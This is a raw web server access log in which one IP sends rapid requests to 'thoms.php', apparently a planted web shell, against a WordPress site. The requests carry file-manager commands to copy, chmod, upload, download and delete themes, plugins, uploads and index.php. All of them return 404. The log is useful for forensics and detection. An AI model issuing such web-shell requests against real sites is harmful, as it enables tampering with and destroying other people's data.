45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /broadweb.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /broadweb.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /broadweb.com.tw/cgi-bin/ HTTP/1.1" 200 692 "https://163.245.207.76:443/broadweb.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /broadweb.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /thoms.php?chmod=uploads&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:30 -0400] "GET /broadweb.com.tw/wp-content/upgrade/ HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?chmod=plugins&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /broadweb.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?del=themes&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Findex.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Findex.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content&view=temp-write-test-6a844fc7ab2488-39972703 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content&view=temp-write-test-6a844fc7ab2488-39972703" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?del=mu-plugins&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /broadweb.com.tw/wp-content/languages/ HTTP/1.1" 200 4170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?del=plugins&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Ftemp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Ftemp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?del=languages&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=languages&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /broadweb.com.tw/wp-content/uploads/ HTTP/1.1" 200 842 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?dl=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?chmod=languages&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=languages&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?del=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /broadweb.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?chmod=upgrade&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /broadweb.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/broadweb.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?del=uploads&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=uploads&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?chmod=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=temp-write-test-6a844fc7ab2488-39972703&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /broadweb.com.tw/wp-content/temp-write-test-6a844fc7ab2488-39972703 HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:32 -0400] "GET /thoms.php?del=upgrade&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?chmod=mu-plugins&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /broadweb.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?chmod=themes&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
